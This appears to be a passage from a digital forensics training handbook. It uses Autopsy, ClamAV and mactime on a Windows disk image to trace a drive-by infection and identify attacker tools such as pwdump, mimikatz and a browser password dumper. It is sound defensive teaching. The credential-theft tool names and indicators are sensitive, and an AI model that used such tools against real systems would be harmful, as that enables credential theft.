| 🗲 🛞 localhost: | 9999/autopsy?mod=0&view=7&case=Trainin 🔻 C 🔍 Search 🟠 🖨 💟 🗸 | ŀâ | ø | ≡ |
| Case: Training | ADD A NEW HOST | | | |
| | 1. Host Name: The name of the computer being investigated. It can contain only letters, numbers, and symbols. | | | |
| | Windows 2. Description: An optional one-line description or note about this computer. | | | |
| | Time zone: An optional timezone value (i.e. EST5EDT). If not given, it defaults to the local setting. A list of time zones can be found in the help files. | | | |
| | 4. Timeskew Adjustment: An optional value to describe how many seconds this computer's clock was out of sync. For example, if the computer was 10 seconds fast, then enter -10 to compensate. | | | |
| | 5. Path of Alert Hash Database: An optional hash database of known bad files. | | | |
| | 6. Path of Ignore Hash Database: An optional hash database of known good files. | | | |
| | ADD HOST CANCEL HELP | | | |

Click "Add Image".

| 🗖 Adding Host Windows to Training - Mozilla Firefox (as superuser) 🦉 🔒 | _ = × |
|---|--------|
| 🥼 Adding Host Windows × 🕂 | |
| ♦ @ localhost:9999/autopsy?mod=0&view=8&case= ▼ C Q Search | > ≡ |
| Adding host: Windows to case Training | |
| Host Directory (/usr/share/caine/report/autopsy/Training/Windows/) created | |
| Configuration file (/usr/share/caine/report/autopsy/Training/Windows/host.aut) of | reated |
| We must now import an image file for this host | |
| | |
| | |

The next step will be to add disk image as an evidence file. To add a new image click "Add Image" and then "Add Image File".



| Open Image In Training:Windows - | Mozilla Firefox (as superuser) | 1000 | - = × |
|----------------------------------|--------------------------------|----------------|-------|
| 🏠 Open Image In Trainin 🗴 | ÷ | | |
| 🗲 🛞 localhost:9999/autopsy?mo | d=0&view= 🔻 🤇 🔍 Search | ☆自 | »≡ |
| Case: Training Host: Windows | | | |
| No ima | ges have been added to this he | ost yet | |
| Select the | Add Image File button below to | add one | |
| | | C | |
| | HELP | CLOSE HOST | - |
| | | | |
| FILE ACTIVITY TIME LINES | | HASH DATABASES | |
| | | | |

In the next form specify the path to the disk image and check if Type is set to Disk.



Now Autopsy will analyse partition table on the provided disk image and let user decide which partitions add to the case. In this case, it should be enough to add only the main Windows partition.



| 🗌 Colle | cting detail | s on new image f | ile - Mozilla Fire | efox (as superuse | r) | | | | - • × |
|-------------------------|---|---|---|------------------------------------|---------------------------------|------------------------|------------------|------------|-------|
| 6 | Collecting de | etails on 🗙 | + | | | | | | |
| () | localhost:9 | 9999/autopsy?mo | od=0&view= 🔻 | C Q Search | | ☆ | ê | » | ≡ |
| | | | Image Fi | le Details | | | | | |
| Lo Da ima | cal Name: in ta Integrity ages, this ha Ignore t Calcula Add the | mages/disk.raw : An MD5 hash c ish is for the full i the hash value fo te the hash value following MD5 h | an be used to v mage file) r this image. e for this image. ash value for th | erify the integrity o | of the imag | e. (W | ith spli | it | |
| | Veri | fy hash after imp | orting? | | | | | | |
| | | | File Syste | m Details | | | | | |
| 4.5 | aluaia of the | imaga fila abour | the following p | artitiona | | | | | |
| Ana | alysis of the | image life shows | the following p | annuons: | | | | | |
| Pai Ad Si M | <u>rtition 1</u> (Typ dd to case? ector Range lount Point: | c: NTFS / exFA | r (0x07)) F7 F | ile System Type: | ntfs | • | | | |
| Pai Ad Se | <u>rtition 2</u> (Typ dd to case? ector Range | be: NTFS / exFA ☞ : 1026048 to 503 | Г (0x07)) 329599 | | | | | | |
| М | lount Point: | C: | F | ile System Type: | ntfs | \$ | | | |
| | _ | DD | CA | NCEL | | Нец | P | | |
| For vo | ur reference | e. the mmls outpu | t was the follow | ina: | | | | | |
| DOS P Offse Units | artition 1 t Sector: are in 51 | Fable 0 12-byte sector | ·s | "'g. | | | | | |
| 002: 003: | Slot 000:000 000:001 | Start 0000002048 0001026048 | End 0001026047 0050329599 | Length 0001024000 0049303552 | Descrip NTFS / 0 NTFS / 0 | tion exFA1 exFA1 | F (0x0 F (0x0 | 97) 97) | |

After clicking "Add", Autopsy will display information that a new image was added and linked with the case. At this point, the analyst can decide whether to add an additional image file or proceed with the analysis. Click "Ok" since there are no more evidence files to add.



| 🗖 Add a new image to an Autopsy Case - Mozilla Firefox (as superuser) 🔭 👘 | _ - × |
|--|--------------|
| 🏠 Add a new image to a 🗴 🕂 | |
| | ≡ |
| Testing partitions Linking image(s) into evidence locker Image file added with ID img1 Disk image (type dos) added with ID vol1 | |
| Volume image (1026048 to 50329599 - ntfs - C:) added with ID vol2 | |
| OK ADD IMAGE | |

Now the main analysis panel should open.

| Open Ima | ge In Training Image In Tra | n:Windows - Moz | zilla Firefox (as superuser) 📲 | ha | | _ = × |
|---------------------------|--------------------------------|---|--------------------------------|-------------------------------|---------------------------|-------|
| () loca | alhost:9999/a | autopsy?mod=08 | &view=16&case 🔻 🤇 🔍 Se | arch | ☆ 自 » | |
| Case: Train Host: Wind | ning Iows | Select a vo | lume to analyze or add a new | image file. | | |
| | CASE G | ALLERY | HOST GALLERY | Host MA | NAGER | |
| | mount disk C:/ | name disk.raw-di disk.raw-10 | Lsk)26048-50329599 | fs type raw ntfs | <u>details</u> details | |
| | ANAL | YZE | ADD IMAGE FILE HELP | CLOSE | lost | |
| 4 | | TIME LINES | | HASH DAT | | |

Create a file activity timeline which will be quite useful during later analysis. To create a timeline, select partition C:\ and click "File Activity Time Lines".





Select all options as presented on the screenshot below and click "Ok":

| 🗖 Timeline: Training:Windows - Mozilla Firefox (as superuser) 🧤 👘 |
|---|
| 🎊 Timeline: Training:Wi × 🛨 |
| 🗲 🕙 localhost:9999/autopsy?mod=6&view=1⊂ 🗸 🤄 🔍 Search 🔯 🖨 🖉 🖡 🏠 🛎 |
| CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HELP CLOSE ? X |
| Here we will process the file system images, collect the temporal data, and save the data to a single file. |
| 1. Select one or more of the following images to collect data from: |
| ☑ C:/ disk.raw-1026048-50329599 ntfs |
| 2. Select the data types to gather: |
| S Allocated Files S Unallocated Files |
| 3. Enter name of output file (body): output/ body |
| 4. Generate MD5 Value? 🧭 |
| OK |
| |

Now Autopsy will start the analysis of the filesystem on the C:\ partition. Depending on the partition size and number of files this might take some time.





Fill the form as presented on the screenshot below and click "Ok".

| 🗖 Timeline: Training:Windows - Mozilla Firefox (as superuser) 🧤 👘 |
|---|
| 🦓 Timeline: Training:Wi 🗴 🛨 |
| ♦ localhost:9999/autopsy?body=vol3&mod=6& ▼ C |
| CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HELP CLOSE |
| Now we will sort the data and save it to a timeline. |
| Select the data input file (body): body |
| 2. Enter the starting date: None: Specify: Aug 1 2016 |
| 3. Enter the ending date: None: • Specify: • Aug ‡ 31 ‡ 2016 |
| 4. Enter the file name to save as: output/timeline-aug2016.txt |
| 5. Choose the output format: Tabulated (normal) Comma delimited with hourly summary Comma delimited with daily summary |
| 6. Generate MD5 Value? S |

As a result timeline will be created. Path to this file is <case_path>/Windows/output/timeline-aug2016.txt.





If opening a timeline in a browser leads to a browser crash try opening it in a text editor (e.g. vim, nano).

| Timeline: Training:Windows - Mozilla Firefox (as superuser) 🦓 👘 👘 | | | | | | | | | | | | |
|---|--|------|--------------|-----|-------------|---|--|--|--|--|--|--|
| 🏠 Timeline: ' | 🚯 Timeline: Training:Wi 🗙 🕂 | | | | | | | | | | | |
| 🗲 🛞 localhos | 🗲 🕑 localhost:9999/autopsy?mod=6&view=1&submod=8&case=Training&host=Windows&inv=Trainee 🔹 🖒 🔍 Search 🔄 🗘 😭 💟 I 🏠 😰 I 👘 😕 | | | | | | | | | | | |
| | CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NOTES HELP CLOSE | | | | | | | | | | | |
| | | | | | | <u><- Jul 2016</u> Summary Sep 2016 -> Aug ‡ 2016 ○K | | | | | | |
| Mon Aug 01 2016 07:34:26 | 196608 | m.c. | r/rrwxrwxrwx | 0 0 | 23686-128-1 | C:/Windows/System32/WDI/{86432a0b-3c7d-4ddf-a89c-172faa90485d}/{95edc3ba-fad7-46be-99ed-a45efc4326a9}/snapshot | | | | | | |
| Mon Aug 01 2016 07:34:41 | 98304 | .a.b | r/rrwxrwxrwx | 0 0 | 1576-128-4 | C:/Windows/Logs/WindowsUpdate/WindowsUpdate.20160801.093441.223.1.etl | | | | | | |
| | 144 | macb | r/rrwxrwxrwx | 0 0 | 1576-48-2 | C:/Windows/Logs/WindowsUpdate/WindowsUpdate.20160801.093441.223.1.etl (\$FILE_NAME) | | | | | | |
| Mon Aug 01 2016 07:34:55 | 246 | .a.b | r/rrwxrwxrwx | 0 0 | 1578-128-1 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.gthr | | | | | | |
| | 102 | macb | r/rrwxrwxrwx | 0 0 | 1578-48-2 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.gthr (\$FILE_NAME) | | | | | | |
| | 2 | .a.b | r/rrwxrwxrwx | 0 0 | 1582-128-1 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.Crwl | | | | | | |
| | 102 | macb | r/rrwxrwxrwx | 0 0 | 1582-48-2 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.Crwl (\$FILE_NAME) | | | | | | |
| Mon Aug 01 2016 07:35:04 | 246 | m.c. | r/rrwxrwxrwx | 0 0 | 1578-128-1 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.gthr | | | | | | |
| | 2 | m.c. | r/rrwxrwxrwx | 0 0 | 1582-128-1 | C:/ProgramData/Microsoft/Search/Data/Applications/Windows/GatherLogs/SystemIndex/SystemIndex.6.Crwl | | | | | | |
| Mon Aug 01 | 201368 | .a.b | r/rrwxrwxrwx | 0 0 | 1586-128-4 | C:/Users/Peter/AppData/Local/Microsoft/OneDrive/logs/Personal/SyncEngine-2016-8-1.735.3432.1.odl | | | | | | |

5.2 Antivirus scan

Perform an antivirus scan of the mounted filesystem.



| enisa@training: ~ 🔐 |
|--|
| File Edit View Search Terminal Help |
| enisa@training:~\$ clamscan -i -r /mnt/part c/ > clamscan.txt |
| enisa@training:~\$ cat clamscan.txt |
| /mnt/part_c/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B6P1C/3568226350[1].exe |
| : Win.Trojan.Xtreme-7 FOUND |
| <pre>/mnt/part_c/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0l7z3kd.default/cache2/entries/</pre> |
| 394A23D50D9098F50B10713FD54607815F18FAB8: Html.Exploit.CVE_2012_3993-1 FOUND |
| /mnt/part_c/Users/Peter/AppData/Local/Temp/svchost.exe: Win.Trojan.Xtreme-7 FOUND |
| /mnt/part_c/Users/Peter/AppData/Roaming/EpUpdate/bpd/BrowserPasswordDump.exe: Win.Trojan.Agent- |
| 1370681 FOUND |
| /mnt/part_c/Users/Peter/AppData/Roaming/EpUpdate/pwdump/PwDump7.exe: Win.Trojan.Pwdump-1 FOUND |
| /mnt/part_c/Users/Peter/AppData/Roaming/HostData/Update.exe: win.irojan.xtreme-/ HOUND |
| |
| Kown viruses 4755129 |
| Engine version: 0.987 |
| Scanned directories: 18803 |
| Scanned files: 117500 |
| Infected files: 6 |
| Data scanned: 7847.79 MB |
| Data read: 12881.35 MB (ratio 0.61:1) |
| Time: 752.425 sec (12 m 32 s) |
| enisa@training:~\$ |
| |

5.3 Filesystem analysis

Start by searching on the timeline (either in browser or text editor) for update.exe file which was detected during the memory analysis.

| Tue Aug 16 2016 13:02:57 | 61440 | ma.b | r/rrwxrwxrwx | 0 0 | 100775-128-3 | C:/Users/Peter/AppData/Local/Temp/svchost.exe |
|-----------------------------|-------|------|--------------|-----|---------------|--|
| | 88 | macb | r/rrwxrwxrwx | 0 0 | 100775-48-2 | C:/Users/Peter/AppData/Local/Temp/svchost.exe (\$FILE_NAME) |
| | 2032 | b | r/rxx | 0 0 | 101277-128-3 | C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxq8t.cfg |
| | 90 | b | r/rxx | 0 0 | 0 101277-48-2 | C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxq8t.cfg (\$FILE_NAME) |
| | 61440 | m.c. | r/rrwxrwxrwx | 0 0 | 101285-128-4 | C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B6P1C/3568226350[1].exe |
| | 82 | macb | d/dxxx | 0 0 | 0 101286-48-2 | C:/Users/Peter/AppData/Roaming/HostData (\$FILE_NAME) |
| | 86 | macb | r/rxx | 0 0 | 101287-48-2 | C:/Users/Peter/AppData/Roaming/HostData/update.exe (\$FILE_NAME) |
| | 416 | ma | d/drwxrwxrwx | 0 0 | 65415-144-5 | C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/JGDRJ450 |
| Tue Aug 16 | 61440 | C. | r/rrwxrwxrwx | 0 0 | 100775-128-3 | C:/Users/Peter/AppData/Local/Temp/svchost.exe |

Later at 13:03:04 according to standard \$STANDARD_INFORMATION attribute, update.exe MFT entry was changed. Note that 13:03:04 is also the time when update.exe process was created according to memory analysis.

| Tue Aug 16 2016 13:03:04 | 1491 | macb | r/rrwxrwxrwx | 0 | 0 101231-128-4 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0I7z3kd.default/cache2/entries/ |
|-----------------------------|---------|------|--------------|---|------------------------------|--|
| | 146 | macb | r/rrwxrwxrwx | 0 | 0 101231-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0I7z3kd.default/cache2/entries/ |
| | 2032 | mac. | r/rxx | 0 | 0 101277-128-3 | C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxq8t.cfg |
| | 90 | mac. | r/rxx | 0 | 0 101277-48-2 | C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxq8t.cfg (\$FILE_NAME) |
| | 61440 | c. | r/rxxx | 0 | 0 101287 <mark>-128-1</mark> | C:/Users/Peter/AppData/Roaming/HostData/update.exe |
| | 1008670 | c. | r/rrwxrwxrwx | 0 | 0 101298-128-3 | C:/Users/Peter/AppData/Roaming/Microsoft/Windows/GhCtxq8t.xtr |

Go back to the main Autopsy panel, choose partition C:\ and click "Analyze".



| - | CASE G | ALLERY | HOST GALLERY | Host MA | NAGER |
|---|--------|----------------|------------------------|---------|---------|
| | mount | name | | fs type | |
| 0 | disk | disk.raw-di | lsk | raw | details |
| • | C:/ | disk.raw-10 | 26048-50329599 | ntfs | details |
| < | ANAI | -yze | ADD IMAGE FILE HELP | CLOSE | Host |
| ~ | | Titure Linstee | | | ABACEC |

Click "Meta Data" and enter 101287 as MFT Entry Number (value can be read from timeline).

| File Analysis Keyw | VORD SEARCH FILE TYPE IMAGE DETAILS META DATA DATA UNIT HELP CLOSE |
|--|--|
| MFT Entry Number: 101287 View ALLOCATION LIST | PREVIOUS NEXT REPORT View CONTENTS Pointed to by file: C:/Users/Peter/AppData/Roaming/HostData/update.exe File Type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed MD5 of content: 7e9f416689d0a361252b38b6fe132f39 - SHA-1 of content: f45ab1375e5049bc17573f909991cfbd60e50cc9 - Details: MFT Entry Header Values: Entry: 101287 Sequence: 3 \$LogFile Sequence Number: 1253134228 |
| | Links: 1 |

One pretty useful information for the forensic analysis that can be read from this page are MACB timestamp values as read from \$STANDARD_INFORMATION and \$FILE_NAME attributes.



\$STANDARD_INFORMATION Attribute Values: Flags: Read Only, Hidden, System Owner ID: 0 Security ID: 1172 (S-1-5-21-1623514716-2111984414-578690546-1001) Last User Journal Update Sequence Number: 290676096 Created: 2005-06-03 07:01:04.013000000 (GMT) File Modified: 2005-06-03 07:01:04.013000000 (GMT) MFT Modified: 2016-08-16 13:03:04.169360400 (GMT) Accessed: 2005-06-03 07:01:04.013000000 (GMT) \$FILE_NAME Attribute Values: Flags: Archive Name: update.exe Parent MET_Entry: 101296 Sequence: 2

Parent MFT Entry: 101286 Sequence: 3 Allocated Size: 61440 Actual Size: 0 Created: 2016-08-16 13:02:57.959113300 (GMT) File Modified: 2016-08-16 13:02:57.959113300 (GMT) MFT Modified: 2016-08-16 13:02:57.959113300 (GMT) Accessed: 2016-08-16 13:02:57.959113300 (GMT)

Go back to the timeline and check what happened shortly before 13:02:57. Quick analysis should reveal that one second before 13:02:57 file 3568226350[1].exe was created.

| Tue Aug 16 2016 13:02:56 | 420 | .a.b | r/rrwxrwxrwx | 0 0 | 101282-128-1 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/120E3605EC4A57B09C0396036000000000000000000000000000000 |
|-----------------------------|-------|------|--------------|-----|--------------|--|
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101282-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/120E3605EC4A57B09C0396000000000000000000000000000000000 |
| | 420 | .a.b | r/rrwxrwxrwx | 0 0 | 101284-128-1 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D898722819D75305BBEERS/2017z3kd.default/cache2/entries/8E3D89872281900000000000000000000000000000000000 |
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101284-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/8E3D898722819D75305BBE |
| | 61440 | .a.b | r/rrwxrwxrwx | 0 0 | 101285-128-4 | C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B6P1C/3568226350[1].exe |
| | 100 | macb | r/rrwxrwxrwx | 0 0 | 101285-48-2 | C:/Users/Peter/AppData/Local/Microsoft/Windows/INetCache/IE/R81B6P1C/3568226350[1].exe (\$FILE_NAME) |
| | 420 | .a.b | r/rrwxrwxrwx | 0 0 | 101289-128-1 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0I7z3kd.default/cache2/entries/EE63825F56120184913F54 |
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101289-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z0I7z3kd.default/cache2/entries/EE63825F56120184913F54 |

Moreover shortly before that, multiple Firefox cache files were created suggesting Firefox activity. Among those files there is a file in which ClamAV detected an exploit code.

| Tue Aug 16 2016 13:02:53 | 1125 | macb | r/rrwxrwxrwx | 0 0 | 101268-128-4 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/2017z3kd.default/cache2/entries/394A23D50D9098F50B10713FD54607815F18FAB8 |
|-----------------------------|------|------|--------------|-----|--------------|---|
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101268-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/201723kd.default/cache2/entries/394A23D50D9098F50B10713FD54607815F18FAB8 (\$FILE_NAME) |
| | 4886 | macb | r/rrwxrwxrwx | 0 0 | 101269-128-4 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/201723kd.default/cache2/entries/B875FA5FF062E1D9C6B5550C2A338395F4815200 |
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101269-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/201723kd.default/cache2/entries/B875FA5FF062E1D9C6B5550C2A338395F4815200 (\$FILE_NAME) |
| | 9260 | macb | r/rrwxrwxrwx | 0 0 | 101270-128-4 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/201723kd.default/cache2/entries/E0FA626A10D95A9EF6C1628AAE973638AB45C3DD |
| | 146 | macb | r/rrwxrwxrwx | 0 0 | 101270-48-2 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/201723kd.default/cache2/entries/E0FA626A10D95A9EF6C1628AAE973638AB45C3DD (\$FILE_NAME) |
| | 608 | macb | r/rrwxrwxrwx | 0 0 | 101271-128-4 | C:/Users/Peter/AppData/Local/Mozilla/Firefox/Profiles/z017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA222017z3kd.default/cache2/entries/6A4D4B53A8A3AC48F8B58AC492D34210E55D64BA2220202000000000000000000000000000000 |

Another way to browse filesystem is to use the Autopsy File Analysis utility. To do this, go to the main Autopsy panel and choose analysis of C:\ partition.



| CASE GALLERY HOST GALLERY | HOST MANAGER |
|--|---------------------|
| | 0 |
| mount name | fs type |
| 🔿 disk disk.raw-disk | raw <u>details</u> |
| <pre> C:/ disk.raw-1026048-50329599 </pre> | ntfs <u>details</u> |
| Analyze Add Image File | CLOSE HOST |

Next, navigate to C:\Users\Peter\AppData\Roaming where two suspicious directories EpUpdate and HostData are located (which were found in previous analysis).

| | | ALYSIS | KEYWORD SEARCH | FILE TYPE | IMAGE DETAILS | META DATA | DATA UNIT | HELP | CLOSE | | |
|---|-----|--|----------------|------------------------------|------------------------------|------------------------------|------------------------------|----------|-------|-----|--------------------|
| Directory Seek | | Current Directory: C:/ /Users/ /Peter/ /AppData/ /Roaming/ ADD NOTE GENERATE MD5 List of Files | | | | | | | | | |
| want to view. C:/ | DEL | Type <u>dir</u> / <u>in</u> | | WRITTEN | Accessed | CHANGED | CREATED | SIZE | UID | GID | МЕТА |
| | | d / d | <u>/</u> | 2016-07-14 14:26:50 (GMT) | 2016-07-14 14:26:50 (GMT) | 2016-07-14 14:26:50 (GMT) | 2016-07-14 14:26:50 (GMT) | 344 | 0 | 0 | <u>62695-144-1</u> |
| View | | d / d | <u>./</u> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-07-14 14:26:50 (GMT) | 56 | 0 | 0 | <u>62696-144-5</u> |
| File Name Search | | d / d | Adobe/ | 2016-07-14 14:26:59 (GMT) | 2016-07-14 14:26:59 (GMT) | 2016-07-14 14:26:59 (GMT) | 2016-07-14 14:26:59 (GMT) | 264 | 0 | 0 | <u>62839-144-1</u> |
| Enter a Perl regular expression for the file | | d / d | EpUpdate/ | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 56 | 0 | 0 | <u>280-144-5</u> |
| names you want to find. | | d / d | HostData/ | 2016-08-16 13:48:12 (GMT) | 2016-08-16 13:48:12 (GMT) | 2016-08-16 13:48:12 (GMT) | 2004-02-12 03:06:08 (GMT) | 352 | 0 | 0 | 101286-144-1 |
| | | | | | | | | | | | Â |
| SEARCH | | | | | File Brow | sing Mode | | | | | |
| ALL DELETED FILES | | | | | | | | | | | |
| EXPAND DIRECTORIES | | | | In this r | node, you can view | v file and directory | contents. | | | | |
| | | | More f | H Hadatails can be f | ile contents will be | shown in this winde | 0W. nd of the list (on th | e right) | | | |

Open EpUpdate/ directory and inspect its contents.



| Curre /EpUj | Current Directory: <u>C:/ /Users/ /Peter/ /AppData/ /Roaming/</u> /EpUpdate/ | | | | | | | | | |
|----------------|---|--------------------------|---------------------------|---------------------------|---------------------------|---------------------------|------|-----|-----|--------------------|
| | | | | | | | | | | |
| DEL | Type <u>dir</u> / <u>in</u> | | WRITTEN | Accessed | CHANGED | CREATED | SIZE | UID | GID | МЕТА |
| | d/d | / | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-07-14 14:26:50 (GMT) | 56 | 0 | 0 | 62696-144-5 |
| | d / d | <u>./</u> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 56 | 0 | 0 | <u>280-144-5</u> |
| | d / d | bpd/ | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 288 | 0 | 0 | 286-144-1 |
| | d / d | <u>mmktz/</u> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 480 | 0 | 0 | <u>369-144-1</u> |
| | d/d | <pre>nircmd/</pre> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 256 | 0 | 0 | <u>566-144-1</u> |
| | d / d | <u>nmap/</u> | 2016-08-16 13:49:24 (GMT) | 2016-08-16 13:49:24 (GMT) | 2016-08-16 13:49:24 (GMT) | 2016-08-16 13:14:47 (GMT) | 56 | 0 | 0 | <u>598-144-5</u> |
| | r/r | <pre>passwords.txt</pre> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 3700 | 0 | 0 | 61228-128-4 |
| | d/d | pwdump/ | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 264 | 0 | 0 | <u>61230-144-1</u> |
| | d / d | <u>ssh/</u> | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 256 | 0 | 0 | <u>61377-144-1</u> |
| | d/d | thc/ | 2016-08-16 14:05:29 (GMT) | 2016-08-16 14:05:29 (GMT) | 2016-08-16 14:05:29 (GMT) | 2016-08-16 13:14:47 (GMT) | 176 | 0 | 0 | 61380-144-5 |
| | r/r | wdigest.reg | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 2016-08-16 13:14:47 (GMT) | 322 | 0 | 0 | <u>86666-128-1</u> |

Open new terminal window and change directory to the location of the previously generated *body* file (created by Autopsy during timeline preparation):



Next, using *mactime* tool generate small timeline and filter results using grep:

```
mactime -z GMT -b body -d 2016-08-16T13:03:00..2016-08-16T13:14:47 | grep
'C:/Users' | grep '\.exe'
-z - time zone specification
-b - path to body file
-d - output in comma delimited format (makes date present in each row)
```

| 🗖 enisa@training: /usr/share/caine/report/autopsy/Training/Windows/output | _ = × |
|--|------------|
| File Edit View Search Terminal Help | |
| enisa@training:/usr/share/caine/report/autopsy/Training/Windows/output\$ mactime -z GMT -b body -d 2016-08-16T13 | :03:00201 |
| 6-08-16T13:14:00 grep 'C:/Users' grep '\.exe' | |
| Tue Aug 16 2016 13:03:04,61440,c.,r/r-·x-·x,0,0,101287- <u>128-1,"C:/Users/Peter/AppData/Roaming/HostData/upda</u> | ite.exe" |
| Tue Aug 16 2016 13:10:03,6396274,.a.b,r/rrwxrwxrwx,0,0,89001 128-3,"C:/Users/Peter/AppData/Local/Temp/54948tp.e | xe" |
| Tue Aug 16 2016 13:10:03,88,macb,r/rrwxrwxrwx,0,0,89001-48-2,"C:/Users/Peter/AppData/Local/Temp/54948tp.exe (\$F | ILE_NAME)" |
| Tue Aug 16 2016 13:10:13,6396274,m.c.,r/rrwxrwxrwx,0,0,89001 128-3,"C:/Users/Peter/AppData/Local/Temp/54948tp.e | xe" |
| enisa@training:/usr/share/caine/report/autopsy/Training/Windows/output\$ | |

5.4 Application logs analysis

On Windows 10, the Firefox profile is located at C:\Users\<name>\AppData\Roaming\Mozilla\Firefox, while cache files can be found at C:\Users\<name>\AppData\Local\Mozilla\Firefox.

Go to Users/Peter/AppData/Roaming/Mozilla/Firefox directory on the mounted partition:



| 🔲 enisa@training: /mnt/part_c/Users/Peter/AppData/Roaming/Mozilla/Firefox 🔤 👘 | _ = × |
|---|-------|
| File Edit View Search Terminal Help | |
| <pre>enisa@training:~\$ cd /mnt/part_c/Users/Peter/AppData/Roaming/Mozilla/Firefox/ enisa@training:/mnt/part_c/Users/Peter/AppData/Roaming/Mozilla/Firefox\$ ls trash Reports Desktop Background.bmp Profiles profiles.ini enisa@training:/mnt/part_c/Users/Peter/AppData/Roaming/Mozilla/Firefox\$</pre> | |

Inspect the Crash Reports directory.



